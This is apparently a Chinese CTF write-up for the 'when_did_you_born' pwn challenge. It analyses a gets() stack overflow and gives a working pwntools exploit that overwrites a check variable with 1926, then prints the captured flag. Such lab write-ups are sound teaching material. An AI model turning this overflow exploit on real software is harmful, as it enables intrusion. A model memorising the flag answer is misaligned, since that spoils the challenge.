zoukankan      html  css  js  c++  java
  • 攻防世界 when_did_you_born

    题目附件信息

    checksec when_did_you_born

    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)

    分析与求解

    1. 用IDA64打开此二进制文件,找到main函数F5
    2. 注意到一个栈溢出的常见函数gets()
    3. 分析一下代码逻辑。首先需要输入出生日期,且不能等于1926;然后输入姓名;输入姓名后还需确认出生年份要等于1926。
    4. 这里的gets()函数存在栈溢出漏洞,我们点击变量v4查看一下栈
      首先通过RSP和RBP可以知道v4和v5的地址,v4位于栈顶,v5偏移0x08

      所以可以确定v4的部分
    5. 绕过方法就是,利用栈溢出漏洞将v4填充8个字符后,跟上1926。这样的话v5的部分就会被覆盖成1926,通过判断,从而获取flag。

    pwn

    1. exp如下
    # exp.py
    from pwn import *
    
    # 连接指定IP及端口,题目给定
    io = remote('220.249.52.133', 42542)
    
    # 只要不是1926即可
    io.sendline("1999")
    # 发送数据,占满8个字符后接1926的二进制数
    io.sendline('a'*8+p64(1926))
    # 交互
    io.interactive()
    
    1. 运行:python exp.py,结果为

    cyberpeace{fa7f0fa367ae6adc8f053d276e6cb3b2}

  • 相关阅读:
    CodeForces 734F Anton and School
    CodeForces 733F Drivers Dissatisfaction
    CodeForces 733C Epidemic in Monstropolis
    ZOJ 3498 Javabeans
    ZOJ 3497 Mistwald
    ZOJ 3495 Lego Bricks
    CodeForces 732F Tourist Reform
    CodeForces 732E Sockets
    CodeForces 731E Funny Game
    CodeForces 731D 80-th Level Archeology
  • 原文地址:https://www.cnblogs.com/vict0r/p/13742470.html
Copyright © 2011-2022 走看看